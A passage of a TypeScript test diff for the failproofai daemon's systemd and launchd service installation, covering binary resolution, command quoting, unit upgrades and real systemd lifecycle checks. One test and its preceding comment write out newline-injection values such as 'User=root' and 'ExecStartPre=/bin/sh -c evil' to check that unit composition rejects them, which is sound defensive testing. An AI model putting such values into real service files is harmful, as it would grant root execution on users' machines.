originalWorkerCmdEnv = process.env.FAILPROOFAI_WORKER_CMD; + const originalCliCmdEnv = process.env.FAILPROOFAI_CLI_CMD; + const originalHome = process.env.HOME; + const originalNoDownload = process.env.FAILPROOFAI_NO_DOWNLOAD; + // The download channel installs under `$HOME/.failproofai/bin`, so these + // tests point HOME at a scratch dir: a developer machine that really has a + // daemon installed would otherwise turn "resolves to null" into a flake. + let home: string; + + function setPlatform(platform: string) { + Object.defineProperty(process, "platform", { value: platform }); + } + function setArch(arch: string) { + Object.defineProperty(process, "arch", { value: arch }); + } + + /** + * Points HOME at a scratch dir for the tests that exercise binary + * resolution. Deliberately opt-in per test rather than a blanket + * `beforeEach`: the real-systemd lifecycle tests further down install an + * actual user unit, which only works under the session's real HOME. + */ + function useScratchHome(): string { + home = mkdtempSync(resolve(tmpdir(), "fpai-daemon-service-")); + process.env.HOME = home; + return home; + } + + beforeEach(() => { + vi.resetModules(); + home = ""; + // No test in this file may reach the network. installDaemonService() + // downloads the daemon when nothing is resolvable, so without this a + // test asserting "no binary" quietly fetches one from the real release + // — which is what broke CI while passing locally. The download path + // itself is covered in daemon-download.test.ts against a local server. + process.env.FAILPROOFAI_NO_DOWNLOAD = "1"; + }); + + afterEach(() => { + if (home) rmSync(home, { recursive: true, force: true }); + if (originalHome !== undefined) process.env.HOME = originalHome; + else delete process.env.HOME; + if (originalNoDownload !== undefined) process.env.FAILPROOFAI_NO_DOWNLOAD = originalNoDownload; + else delete process.env.FAILPROOFAI_NO_DOWNLOAD; + Object.defineProperty(process, "platform", { value: originalPlatform }); + Object.defineProperty(process, "arch", { value: originalArch }); + if (originalBinaryEnv !== undefined) process.env.FAILPROOFAI_DAEMON_BINARY = originalBinaryEnv; + else delete process.env.FAILPROOFAI_DAEMON_BINARY; + if (originalPackageRootEnv !== undefined) process.env.FAILPROOFAI_PACKAGE_ROOT = originalPackageRootEnv; + else delete process.env.FAILPROOFAI_PACKAGE_ROOT; + if (originalWorkerCmdEnv !== undefined) process.env.FAILPROOFAI_WORKER_CMD = originalWorkerCmdEnv; + else delete process.env.FAILPROOFAI_WORKER_CMD; + if (originalCliCmdEnv !== undefined) process.env.FAILPROOFAI_CLI_CMD = originalCliCmdEnv; + else delete process.env.FAILPROOFAI_CLI_CMD; + }); + + describe("isDaemonSupportedPlatform", () => { + it("is true on linux", async () => { + setPlatform("linux"); + const { isDaemonSupportedPlatform } = await import("../../src/hooks/daemon-service"); + expect(isDaemonSupportedPlatform()).toBe(true); + }); + + it("is true on darwin", async () => { + setPlatform("darwin"); + const { isDaemonSupportedPlatform } = await import("../../src/hooks/daemon-service"); + expect(isDaemonSupportedPlatform()).toBe(true); + }); + + it("is false on win32", async () => { + setPlatform("win32"); + const { isDaemonSupportedPlatform } = await import("../../src/hooks/daemon-service"); + expect(isDaemonSupportedPlatform()).toBe(false); + }); + }); + + describe("resolveFailproofaidBinaryPath", () => { + it("returns the FAILPROOFAI_DAEMON_BINARY override verbatim, regardless of platform", async () => { + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep infinity"; + const { resolveFailproofaidBinaryPath } = await import("../../src/hooks/daemon-service"); + expect(resolveFailproofaidBinaryPath()).toBe("/usr/bin/sleep infinity"); + }); + + it("returns null on win32 with nothing else configured", async () => { + // Scratch HOME: a machine that really has a daemon installed (a CI + // runner that just ran the lifecycle tests, a developer laptop) would + // otherwise resolve that binary and turn this into a flake. + useScratchHome(); + delete process.env.FAILPROOFAI_DAEMON_BINARY; + delete process.env.FAILPROOFAI_PACKAGE_ROOT; + setPlatform("win32"); + const { resolveFailproofaidBinaryPath } = await import("../../src/hooks/daemon-service"); + expect(resolveFailproofaidBinaryPath()).toBeNull(); + }); + + it("returns null when nothing has been downloaded and no dev build is present", async () => { + useScratchHome(); + delete process.env.FAILPROOFAI_DAEMON_BINARY; + process.env.FAILPROOFAI_PACKAGE_ROOT = "/nonexistent/package/root"; + setPlatform("linux"); + setArch("x64"); + const { resolveFailproofaidBinaryPath } = await import("../../src/hooks/daemon-service"); + expect(resolveFailproofaidBinaryPath()).toBeNull(); + }); + + it("finds the binary downloaded for this version under ~/.failproofai/bin", async () => { + useScratchHome(); + delete process.env.FAILPROOFAI_DAEMON_BINARY; + delete process.env.FAILPROOFAI_PACKAGE_ROOT; + setPlatform("linux"); + setArch("x64"); + const { installedBinaryPath } = await import("../../src/hooks/daemon-download"); + mkdirSync(binDir(home), { recursive: true }); + writeFileSync(installedBinaryPath(), "#!/bin/sh\n"); + + const { resolveFailproofaidBinaryPath } = await import("../../src/hooks/daemon-service"); + expect(resolveFailproofaidBinaryPath()).toBe(installedBinaryPath()); + }); + + it("never fetches — resolution is a disk check, so the hook path cannot block on the network", async () => { + useScratchHome(); + delete process.env.FAILPROOFAI_DAEMON_BINARY; + delete process.env.FAILPROOFAI_PACKAGE_ROOT; + setPlatform("linux"); + setArch("x64"); + const fetchSpy = vi.spyOn(globalThis, "fetch"); + const { resolveFailproofaidBinaryPath } = await import("../../src/hooks/daemon-service"); + expect(resolveFailproofaidBinaryPath()).toBeNull(); + expect(fetchSpy).not.toHaveBeenCalled(); + fetchSpy.mockRestore(); + }); + + it("finds a locally-built dev binary under target/release relative to the package root", async () => { + delete process.env.FAILPROOFAI_DAEMON_BINARY; + // The real repo's own target/{release,debug}/failproofaid — built by + // the Rust test suite / a local `cargo build` earlier in this session. + process.env.FAILPROOFAI_PACKAGE_ROOT = resolve(__dirname, "..", ".."); + setPlatform("linux"); + const { resolveFailproofaidBinaryPath } = await import("../../src/hooks/daemon-service"); + const result = resolveFailproofaidBinaryPath(); + // Not asserting a specific outcome beyond "doesn't throw and returns a + // sensible type" here would be too weak — but whether target/ has been + // built depends on test execution order across files sharing state in + // this repo, so assert the *shape* of a real hit without depending on + // build state: either null, or an absolute path that actually exists. + if (result !== null) { + expect(existsSync(result)).toBe(true); + expect(result).toContain("failproofaid"); + } + }); + }); + + describe("ensureFailproofaidBinary", () => { + it("returns an already-resolved binary without downloading", async () => { + process.env.FAILPROOFAI_DAEMON_BINARY = "/opt/failproofaid"; + const fetchSpy = vi.spyOn(globalThis, "fetch"); + const { ensureFailproofaidBinary } = await import("../../src/hooks/daemon-service"); + + await expect(ensureFailproofaidBinary()).resolves.toEqual({ path: "/opt/failproofaid" }); + expect(fetchSpy).not.toHaveBeenCalled(); + fetchSpy.mockRestore(); + }); + + it("reports an unsupported architecture rather than attempting a download", async () => { + useScratchHome(); + delete process.env.FAILPROOFAI_DAEMON_BINARY; + delete process.env.FAILPROOFAI_PACKAGE_ROOT; + setPlatform("linux"); + setArch("ppc64"); + const { ensureFailproofaidBinary } = await import("../../src/hooks/daemon-service"); + + const result = await ensureFailproofaidBinary(); + expect(result.path).toBeUndefined(); + expect(result.reason).toContain("no prebuilt binary"); + }); + + it("surfaces the download failure verbatim for the local log", async () => { + useScratchHome(); + delete process.env.FAILPROOFAI_DAEMON_BINARY; + delete process.env.FAILPROOFAI_PACKAGE_ROOT; + setPlatform("linux"); + setArch("x64"); + process.env.FAILPROOFAI_NO_DOWNLOAD = "1"; + try { + const { ensureFailproofaidBinary } = await import("../../src/hooks/daemon-service"); + const result = await ensureFailproofaidBinary(); + expect(result.reason).toContain("downloads are disabled"); + } finally { + delete process.env.FAILPROOFAI_NO_DOWNLOAD; + } + }); + }); + + describe("system-scope service definition", () => { + it("names the unit per user so a second install cannot steal the first's service", async () => { + setPlatform("linux"); + const { daemonServiceFilePath, daemonStatusCommand } = await import("../../src/hooks/daemon-service"); + const user = userInfo().username; + + expect(daemonServiceFilePath()).toBe(`/etc/systemd/system/failproofaid@${user}.service`); + expect(daemonStatusCommand()).toBe(`systemctl status failproofaid@${user}.service`); + }); + + it("namespaces the launchd label per user too — a plist is just as user-specific", async () => { + // A shared label meant the second Mac user's install overwrote the + // first's daemon (UserName, ExecStart under their ~/.failproofai/bin, + // their log paths) and their uninstall deleted it. + setPlatform("darwin"); + const { daemonServiceFilePath, daemonStatusCommand } = await import("../../src/hooks/daemon-service"); + const user = userInfo().username; + + expect(daemonServiceFilePath()).toBe( + `/Library/LaunchDaemons/ai.failproof.failproofaid.${user}.plist`, + ); + expect(daemonStatusCommand()).toContain(`system/ai.failproof.failproofaid.${user}`); + }); + + it("writes a unit that runs as the user, starts at boot, and knows where HOME is", async () => { + useScratchHome(); + setPlatform("linux"); + const { systemdUnitContents } = await import("../../src/hooks/daemon-service"); + const unit = systemdUnitContents("/opt/failproofaid", null); + + expect(unit).toContain(`User=${userInfo().username}`); + expect(unit).toContain("ExecStart=/opt/failproofaid"); + // WantedBy=multi-user.target is the whole point of the system unit: + // default.target only starts with a user session, which is what made + // the daemon die on logout and never come back after a reboot. + expect(unit).toContain("WantedBy=multi-user.target"); + // The daemon refuses to start without HOME, and a system unit gets no + // login environment, so this must be explicit rather than inherited. + expect(unit).toContain(`Environment="HOME=${process.env.HOME}"`); + }); + + it("bakes an absolute runtime into the worker command", async () => { + // A bare `node` resolves for the wizard and then fails inside a system + // unit whose PATH never includes ~/.nvm/versions/node/*/bin — silently, + // and only on the machines least likely to notice. + useScratchHome(); + delete process.env.FAILPROOFAI_WORKER_CMD; + // The repo's own dist/worker.mjs — built by `bun run build`, which the + // test job runs before this suite. + process.env.FAILPROOFAI_PACKAGE_ROOT = resolve(__dirname, "..", ".."); + setPlatform("linux"); + const { resolveWorkerCommand, systemdUnitContents } = await import("../../src/hooks/daemon-service"); + + const workerCmd = resolveWorkerCommand(); + if (workerCmd) { + expect(workerCmd).toContain(process.execPath); + expect(workerCmd).not.toMatch(/^node /); + // Shell-quoted, because the daemon runs this through `sh -c`: an + // unquoted `/Users/First Last/...` splits on its space and the worker + // never starts. Ordinary on macOS, and more likely since execPath + // (home-derived) replaced a bare `node`. + expect(workerCmd).toBe(`'${process.execPath}' '${resolve(process.env.FAILPROOFAI_PACKAGE_ROOT!, "dist", "worker.mjs")}'`); + // Environment= values containing a space must be quoted or systemd + // rejects the unit — and this value always contains one. + expect(systemdUnitContents("/opt/failproofaid", workerCmd)).toContain( + `Environment="FAILPROOFAI_WORKER_CMD=${workerCmd}"`, + ); + } + }); + + it("bakes an absolute runtime into the CLI command, and it actually runs", async () => { + // The daemon spawns this to run a scheduled audit. Getting it wrong is + // quieter than getting the worker command wrong: a worker that cannot + // start makes the daemon visibly unhealthy, an audit that cannot start + // just never happens while the config says it is on. + useScratchHome(); + delete process.env.FAILPROOFAI_CLI_CMD; + // The repo's own dist/cli.mjs — built by `bun run build`, which the test + // job runs before this suite. + process.env.FAILPROOFAI_PACKAGE_ROOT = resolve(__dirname, "..", ".."); + setPlatform("linux"); + const { resolveCliCommand } = await import("../../src/hooks/daemon-service"); + + const cliCmd = resolveCliCommand(); + // Skipped rather than silently passing when dist/ has not been built — + // the point of this test is that the resolved string RUNS. + if (!cliCmd) return; + + expect(cliCmd).toBe( + `'${process.execPath}' '${resolve(process.env.FAILPROOFAI_PACKAGE_ROOT, "dist", "cli.mjs")}'`, + ); + expect(cliCmd).not.toMatch(/^node /); + // Through `sh -c`, exactly as the daemon will invoke it — which is also + // what proves the quoting survives a shell split rather than merely + // looking quoted. + const out = execFileSync("sh", ["-c", `${cliCmd} --version`], { + stdio: ["ignore", "pipe", "ignore"], + timeout: 30_000, + }) + .toString() + .trim(); + expect(out).toMatch(/^\d+\.\d+\.\d+/); + }, 40_000); + + it("carries FAILPROOFAI_CLI_CMD into both the unit and the plist", async () => { + // Both renderers, in one test, because the failure mode is a variable + // added to one platform and forgotten on the other — invisible until + // somebody runs the other platform. + useScratchHome(); + const { systemdUnitContents, launchdPlistContents } = await import( + "../../src/hooks/daemon-service" + ); + const cliCmd = "'/usr/bin/node' '/opt/failproofai/dist/cli.mjs'"; + + setPlatform("linux"); + const unit = systemdUnitContents("/opt/failproofaid", "'/usr/bin/node' '/w.mjs'", cliCmd); + expect(unit).toContain(`Environment="FAILPROOFAI_WORKER_CMD='/usr/bin/node' '/w.mjs'"`); + expect(unit).toContain(`Environment="FAILPROOFAI_CLI_CMD=${cliCmd}"`); + + setPlatform("darwin"); + const plist = launchdPlistContents("/opt/failproofaid", "/tmp/logs", null, cliCmd); + expect(plist).toContain("FAILPROOFAI_CLI_CMD"); + // Single quotes are legal XML text, so they must survive verbatim — + // escaping them would hand the shell a literal `'` to split on. + expect(plist).toContain(`${cliCmd}`); + }); + + // The unit is installed root-owned at /etc/systemd/system and loaded at + // every boot. A newline ENDS a directive, so a value carrying one injects + // arbitrary settings into it — and this repo's own refresh test proves the + // mechanism works by setting FAILPROOFAI_CLI_CMD to + // `/usr/bin/true"\nUser=failproofai-no-such-user` and relying on systemd + // HONOURING the injected `User=`. It passes only because that user does not + // exist; `User=root`, or an added `ExecStartPre=`, would have succeeded + // silently and undone the "root-installed, never root-run" invariant. + it("refuses to compose a unit from a value carrying a newline or a quote", async () => { + useScratchHome(); + setPlatform("linux"); + const { systemdUnitContents } = await import("../../src/hooks/daemon-service"); + + // Exactly the shape the refresh test injects. + expect(() => + systemdUnitContents("/opt/failproofaid", null, '/usr/bin/true"\nUser=root'), + ).toThrow(/quote, backslash or newline/); + + // A bare newline in the worker command, and a quote on its own — both + // close out of `Environment="…"` or out of the directive. + expect(() => + systemdUnitContents("/opt/failproofaid", "/usr/bin/node /w.mjs\nExecStartPre=/bin/sh -c evil"), + ).toThrow(/quote, backslash or newline/); + expect(() => systemdUnitContents("/opt/failproofaid", '/usr/bin/node "/w.mjs')).toThrow( + /quote, backslash or newline/, + ); + + // ExecStart itself is interpolated too. + expect(() => systemdUnitContents("/opt/failproofaid\nUser=root", null)).toThrow( + /quote, backslash or newline/, + ); + + // And the ordinary case still composes, including single quotes, which + // are how every real worker/CLI command is already shell-quoted. + expect(() => + systemdUnitContents("/opt/failproofaid", "'/usr/bin/node' '/w.mjs'", "'/usr/bin/node' '/c.mjs'"), + ).not.toThrow(); + }); + + it("omits the environment block entirely when neither command resolves", async () => { + // A `` with no keys, or a stray `Environment=""`, is not the same + // as no environment — the daemon reads "set but empty" as a command. + useScratchHome(); + setPlatform("darwin"); + const { launchdPlistContents } = await import("../../src/hooks/daemon-service"); + const plist = launchdPlistContents("/opt/failproofaid", "/tmp/logs", null, null); + expect(plist).not.toContain("EnvironmentVariables"); + }); + + // Meaningless as root, where elevation always succeeds. + it.skipIf(typeof process.getuid === "function" && process.getuid() === 0)( + "refuses to half-install when it cannot elevate, and says exactly what to run", + async () => { + useScratchHome(); + process.env.FAILPROOFAI_DAEMON_BINARY = "/opt/failproofaid"; + setPlatform("linux"); + // Every privileged command fails the way a machine without + // passwordless sudo fails. Nothing may be written, and the reason + // has to be actionable rather than an errno. + vi.doMock("node:child_process", async (importOriginal) => ({ + ...(await importOriginal()), + execFileSync: (cmd: string) => { + if (cmd === "sudo") throw new Error("sudo: a password is required"); + throw new Error(`nothing else should run before elevation succeeds, but got: ${cmd}`); + }, + })); + try { + vi.resetModules(); + const { installDaemonService } = await import("../../src/hooks/daemon-service"); + const result = await installDaemonService(); + + expect(result.installed).toBe(false); + expect(result.reason).toContain("root privileges are required"); + // `enable` then `restart` — never `enable --now`, which is a no-op + // against an already-active unit and would hand someone upgrading a + // live daemon a recipe that silently changes nothing. + expect(result.reason).toContain("systemctl enable"); + expect(result.reason).toContain("systemctl restart"); + expect(result.reason).not.toContain("enable --now"); + expect(existsSync(`/etc/systemd/system/failproofaid@${userInfo().username}.service`)).toBe(false); + } finally { + vi.doUnmock("node:child_process"); + vi.resetModules(); + } + }, + ); + }); + + describe("daemonServiceStatus", () => { + it("is unsupported-platform on win32", async () => { + setPlatform("win32"); + const { daemonServiceStatus } = await import("../../src/hooks/daemon-service"); + expect(daemonServiceStatus()).toBe("unsupported-platform"); + }); + }); + + describe("service-definition upgrades", () => { + it("has nothing to upgrade where no service can exist", async () => { + // The inert direction is the safe one: a machine with no service must + // never be told it needs a privileged rewrite, and `ensureDaemonService + // Current` must be a cheap no-op everywhere it has no business acting. + setPlatform("win32"); + const { daemonServiceNeedsUpgrade, ensureDaemonServiceCurrent } = await import( + "../../src/hooks/daemon-service" + ); + expect(daemonServiceNeedsUpgrade()).toBe(false); + await expect(ensureDaemonServiceCurrent()).resolves.toEqual({ outcome: "current" }); + }); + + it("turns a systemd unit WITHOUT the variable into one WITH it, changing nothing else", async () => { + useScratchHome(); + delete process.env.FAILPROOFAI_WORKER_CMD; + process.env.FAILPROOFAI_PACKAGE_ROOT = "/nonexistent/package/root"; + setPlatform("linux"); + const { systemdUnitContents, upgradedServiceDefinition } = await import( + "../../src/hooks/daemon-service" + ); + + // Exactly what an older failproofai wrote: this unit minus the line that + // did not exist yet. Derived by removal rather than hand-written, so it + // stays a true "previous version" as the unit's shape evolves. + const legacy = systemdUnitContents("/opt/failproofaid", "'/usr/bin/node' '/pkg/dist/worker.mjs'") + .split("\n") + .filter((line) => !line.includes("FAILPROOFAI_CLI_CMD")) + .join("\n"); + expect(legacy).not.toContain("FAILPROOFAI_CLI_CMD"); + + const upgraded = upgradedServiceDefinition(legacy, "'/usr/bin/node' '/pkg/dist/cli.mjs'", "/tmp/logs"); + + expect(upgraded).toContain(`Environment="FAILPROOFAI_CLI_CMD='/usr/bin/node' '/pkg/dist/cli.mjs'"`); + // Carried over, not re-resolved: right after a CLI upgrade the version- + // stamped binary for the NEW version is not on disk yet, so re-resolving + // would repoint a live service at a file that does not exist. + expect(upgraded).toContain("ExecStart=/opt/failproofaid"); + // Carried over too. The rewrite regenerates the whole unit, so a worker + // command this process cannot re-resolve (no package root here) would + // otherwise be silently DELETED from a working unit — turning a fix for + // the audit lane into a break of the warm worker, which is on the path + // of every tool call. + expect(upgraded).toContain( + `Environment="FAILPROOFAI_WORKER_CMD='/usr/bin/node' '/pkg/dist/worker.mjs'"`, + ); + // And nothing else moved: the only difference is the added line. + expect(upgraded!.split("\n").filter((l) => !l.includes("FAILPROOFAI_CLI_CMD")).join("\n")).toBe( + legacy, + ); + }); + + it("turns a launchd plist WITHOUT the variable into one WITH it", async () => { + // The half no Linux CI runner can reach through the real service + // manager, and the half whose environment block has a different shape: + // a shared , so a legacy plist already HAS an EnvironmentVariables + // key and the new value has to land inside it rather than beside it. + useScratchHome(); + delete process.env.FAILPROOFAI_WORKER_CMD; + process.env.FAILPROOFAI_PACKAGE_ROOT = "/nonexistent/package/root"; + setPlatform("darwin"); + const { launchdPlistContents, upgradedServiceDefinition } = await import( + "../../src/hooks/daemon-service" + ); + + const legacy = launchdPlistContents("/opt/failproofaid", "/tmp/logs", "/usr/bin/node /w.mjs"); + expect(legacy).not.toContain("FAILPROOFAI_CLI_CMD"); + + const upgraded = upgradedServiceDefinition(legacy, "/usr/bin/node /c.mjs", "/tmp/logs"); + + expect(upgraded).toContain("FAILPROOFAI_CLI_CMD"); + expect(upgraded).toContain("/usr/bin/node /c.mjs"); + expect(upgraded).toContain("FAILPROOFAI_WORKER_CMD"); + expect(upgraded).toContain("/usr/bin/node /w.mjs"); + expect(upgraded).toContain("/opt/failproofaid"); + // One dict, not two: a second EnvironmentVariables key makes launchd + // take the first and silently drop everything in the second. + expect(upgraded!.match(/EnvironmentVariables/g)).toHaveLength(1); + }); + + it("refuses to rewrite a definition it cannot read a start command out of", async () => { + // A hand-edited or foreign unit at this path. Regenerating it from a + // guessed ExecStart would replace whatever the operator actually runs. + useScratchHome(); + setPlatform("linux"); + const { upgradedServiceDefinition } = await import("../../src/hooks/daemon-service"); + expect(upgradedServiceDefinition("[Unit]\nDescription=something else\n", "cli", "/tmp")).toBeNull(); + }); + }); + + // Real systemd integration — the service is system-scope now, so this + // needs root or passwordless sudo (CI runners have it; a locked-down + // laptop may not). Skips loudly rather than silently passing when it + // can't run, per the plan's "no silent caps" verification guidance. + const canInstallSystemService = (() => { + if (process.platform !== "linux") return false; + try { + execFileSync("systemctl", ["--version"], { stdio: "ignore" }); + } catch { + return false; + } + if (typeof process.getuid === "function" && process.getuid() === 0) return true; + try { + execFileSync("sudo", ["-n", "true"], { stdio: "ignore" }); + return true; + } catch { + return false; + } + })(); + + const sudoPrefix = typeof process.getuid === "function" && process.getuid() === 0 ? [] : ["sudo", "-n"]; + const run = (args: string[]) => + execFileSync(sudoPrefix[0] ?? args[0], sudoPrefix.length ? [...sudoPrefix.slice(1), ...args] : args.slice(1), { + stdio: "ignore", + }); + + (canInstallSystemService ? describe : describe.skip)( + "real systemd system-scope lifecycle (linux only, requires root or passwordless sudo)", + () => { + const unitName = `failproofaid@${userInfo().username}.service`; + const unitPath = resolve("/etc/systemd/system", unitName); + let preexistingUnit: string | null = null; + + beforeEach(() => { + // Never clobber a real installed daemon if this sandbox happens to + // have one — capture and restore it rather than assuming a clean + // slate. + preexistingUnit = existsSync(unitPath) ? readFileSync(unitPath, "utf8") : null; + }); + + afterEach(async () => { + setPlatform("linux"); + const { uninstallDaemonService } = await import("../../src/hooks/daemon-service"); + await uninstallDaemonService(); + if (preexistingUnit !== null) { + const staging = resolve(tmpdir(), `failproofaid-restore-${process.pid}`); + writeFileSync(staging, preexistingUnit, "utf8"); + try { + run(["install", "-m", "0644", staging, unitPath]); + run(["systemctl", "daemon-reload"]); + } catch { + /* best-effort restore */ + } + rmSync(staging, { force: true }); + } + }); + + it("installs a real user unit, reports it running, then fully removes it on uninstall", async () => { + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep infinity"; + setPlatform("linux"); + const { installDaemonService, daemonServiceStatus, uninstallDaemonService } = await import( + "../../src/hooks/daemon-service" + ); + + expect(daemonServiceStatus()).toBe("not-installed"); + + const result = await installDaemonService(); + expect(result).toEqual({ installed: true }); + expect(existsSync(unitPath)).toBe(true); + expect(readFileSync(unitPath, "utf8")).toContain("ExecStart=/usr/bin/sleep infinity"); + + // systemd needs a beat to actually transition the unit to active + // after `enable --now`. + await new Promise((r) => setTimeout(r, 300)); + expect(daemonServiceStatus()).toBe("running"); + + await uninstallDaemonService(); + expect(existsSync(unitPath)).toBe(false); + expect(daemonServiceStatus()).toBe("not-installed"); + }); + + it("writes FAILPROOFAI_WORKER_CMD into the unit's environment and systemd still accepts it", async () => { + // Caught by a real Docker clean-install run: the daemon's own + // built-in worker fallback is a *relative* path (dist/worker.mjs), + // which only resolves when the daemon happens to be started from + // the npm package's own directory — never true for a real + // service-managed daemon, which systemd starts from an arbitrary + // cwd. This is the fix: an absolute worker command threaded through + // as an environment line in the unit itself. The real assertion + // here isn't just string content — it's that `systemctl enable + // --now` (called by installDaemonService) doesn't choke on the + // quoted Environment= syntax. + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep infinity"; + process.env.FAILPROOFAI_WORKER_CMD = "node /some/absolute/path/worker.mjs"; + setPlatform("linux"); + const { installDaemonService, daemonServiceStatus } = await import("../../src/hooks/daemon-service"); + + const result = await installDaemonService(); + expect(result).toEqual({ installed: true }); + const contents = readFileSync(unitPath, "utf8"); + expect(contents).toContain('Environment="FAILPROOFAI_WORKER_CMD=node /some/absolute/path/worker.mjs"'); + + await new Promise((r) => setTimeout(r, 300)); + expect(daemonServiceStatus()).toBe("running"); + }); + + it("re-installing replaces the unit file with a new binary path", async () => { + setPlatform("linux"); + const { installDaemonService } = await import("../../src/hooks/daemon-service"); + + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep infinity"; + await installDaemonService(); + expect(readFileSync(unitPath, "utf8")).toContain("ExecStart=/usr/bin/sleep infinity"); + + // A *genuinely* different command. Re-installing with a trailing-space + // variant of the first one proves nothing: the assertion's needle is + // still a substring of the original unit, so the test would pass even + // if the second install were a no-op. + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep 3600"; + await installDaemonService(); + const rewritten = readFileSync(unitPath, "utf8"); + expect(rewritten).toContain("ExecStart=/usr/bin/sleep 3600"); + expect(rewritten).not.toContain("infinity"); + }); + + it("re-installing restarts the service, so the RUNNING process is the new one", async () => { + // The test above asserts the unit FILE was rewritten, which is what the + // install always did. The defect was everything after that: the linux + // path ran `daemon-reload` + `enable --now`, and `--now` does nothing to + // a unit that is already active. So the file described the new binary + // while the machine went on running the old one, indefinitely. + // + // That is the documented recovery for a PROTOCOL_VERSION bump + // (`npm update -g failproofai` → `failproofai config`), and it is + // reached with the daemon UP: the wizard's `daemonBroken` is + // `daemonUpToDate && !daemonAnswers` and `daemonUpToDate` requires no + // skew, so skew never triggers the uninstall-first path and the install + // runs straight over the live process. `probeDaemon()` then reads the + // survivor's protocol-mismatch reply as `ok`, `daemonConfigured` is + // recorded at the NEW version, and `pruneOldDaemonBinaries()` becomes + // free to delete the binary that process is running from. + setPlatform("linux"); + const { installDaemonService } = await import("../../src/hooks/daemon-service"); + const mainPid = () => + execFileSync("systemctl", ["show", "-p", "MainPID", "--value", unitName], { + encoding: "utf8", + }).trim(); + + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep infinity"; + expect(await installDaemonService()).toEqual({ installed: true }); + const firstPid = mainPid(); + expect(firstPid).not.toBe("0"); + + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep 3600"; + expect(await installDaemonService()).toEqual({ installed: true }); + const secondPid = mainPid(); + + expect(secondPid).not.toBe("0"); + expect(secondPid).not.toBe(firstPid); + // And it is genuinely the new command that is running, not just a + // restart of the old one. + expect(readFileSync(`/proc/${secondPid}/cmdline`, "utf8").replace(/\0/g, " ")).toContain("3600"); + }, 30_000); + + it("does not report installed when the service never stays running", async () => { + // A "daemon" that exits the moment it starts: systemd accepts the + // job and `enable --now` exits 0, but nothing is left running. + // Reporting success here is what lets the wizard set + // `daemonConfigured`, after which every hook event on the machine + // fails closed against a daemon that does not exist. + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep 0"; + setPlatform("linux"); + const { installDaemonService } = await import("../../src/hooks/daemon-service"); + + const result = await installDaemonService(); + expect(result.installed).toBe(false); + expect(result.reason).toContain("did not reach a running state"); + }, 20_000); + + it("uninstall clears the daemonConfigured marker", async () => { + setPlatform("linux"); + const { installDaemonService, uninstallDaemonService, setDaemonConfigured } = await import( + "../../src/hooks/daemon-service" + ); + // Layout 2 moved this flag out of policies-config.json and into + // config.toml's [daemon] table, so it is read through the config + // accessor rather than by JSON.parse-ing a path. + const { readConfig } = await import("../../src/hooks/fp-config"); + const { configFile } = await import("../../src/hooks/fp-home"); + const configPath = configFile(); + const preexisting = existsSync(configPath) ? readFileSync(configPath, "utf8") : null; + + try { + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep infinity"; + expect((await installDaemonService()).installed).toBe(true); + setDaemonConfigured(true); + expect(readConfig().daemon.configured).toBe(true); + + // Without this, removing the service leaves the machine failing + // closed forever against a socket that is gone — which locked a real + // machine out of its agent entirely during this work, UserPromptSubmit + // included, with no CLI route back. + await uninstallDaemonService(); + expect(readConfig().daemon.configured).toBe(false); + } finally { + if (preexisting !== null) writeFileSync(configPath, preexisting, "utf8"); + else rmSync(configPath, { force: true }); + } + }, 20_000); + + /** + * Downgrades the installed unit to what a failproofai from before this + * change wrote: byte-identical apart from the line that did not exist + * yet. Reproducing the upgrade case by *removing* the line — rather than + * by hand-writing a "legacy" unit — is what keeps the test honest as the + * unit's shape evolves. + */ + function stripCliCommandFromUnit(): void { + const legacy = readFileSync(unitPath, "utf8") + .split("\n") + .filter((line) => !line.includes("FAILPROOFAI_CLI_CMD")) + .join("\n"); + const staging = resolve(tmpdir(), `failproofaid-legacy-${process.pid}`); + writeFileSync(staging, legacy, "utf8"); + run(["install", "-m", "0644", staging, unitPath]); + run(["systemctl", "daemon-reload"]); + run(["systemctl", "restart", unitName]); + rmSync(staging, { force: true }); + } + + it("rewrites a unit that predates FAILPROOFAI_CLI_CMD, and the service comes back", async () => { + // THE upgrade case. `npm i -g failproofai@latest` replaces the CLI and + // never touches /etc/systemd/system, and the wizard's own "already + // running — leaving it alone" branch skips it, so without this the + // daemon has no way to spawn an audit for the rest of the machine's + // life while config.toml says the scan is on. + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep infinity"; + process.env.FAILPROOFAI_CLI_CMD = "/usr/bin/true --cli-cmd-sentinel"; + setPlatform("linux"); + const { + installDaemonService, + daemonServiceNeedsUpgrade, + ensureDaemonServiceCurrent, + daemonServiceStatus, + } = await import("../../src/hooks/daemon-service"); + + expect((await installDaemonService()).installed).toBe(true); + expect(daemonServiceNeedsUpgrade()).toBe(false); + + stripCliCommandFromUnit(); + expect(readFileSync(unitPath, "utf8")).not.toContain("FAILPROOFAI_CLI_CMD"); + expect(daemonServiceNeedsUpgrade()).toBe(true); + + expect(await ensureDaemonServiceCurrent()).toEqual({ outcome: "rewritten", daemonRunning: true }); + + const rewritten = readFileSync(unitPath, "utf8"); + expect(rewritten).toContain( + 'Environment="FAILPROOFAI_CLI_CMD=/usr/bin/true --cli-cmd-sentinel"', + ); + // The ExecStart is carried over from the unit, not re-resolved: right + // after a CLI upgrade the version-stamped binary for the NEW version + // is not on disk yet, and re-resolving would repoint a live service at + // a file that does not exist. + expect(rewritten).toContain("ExecStart=/usr/bin/sleep infinity"); + expect(daemonServiceNeedsUpgrade()).toBe(false); + // Not merely "the file changed": the whole point is that the running + // daemon now HAS the variable, which on Linux only happens on restart. + expect(daemonServiceStatus()).toBe("running"); + }, 30_000); + + it("keeps a worker command the rewrite cannot re-resolve", async () => { + // The rewrite regenerates the whole unit, so a resolver that comes + // back null would silently delete a working FAILPROOFAI_WORKER_CMD + // from a working unit — turning a fix for the audit lane into a break + // of the warm worker, which is on every tool call's path. + process.env.FAILPROOFAI_DAEMON_BINARY = "/usr/bin/sleep infinity"; + process.env.FAILPROOFAI_WORKER_CMD = "/usr/bin/node /baked/at/install/worker.mjs"; + 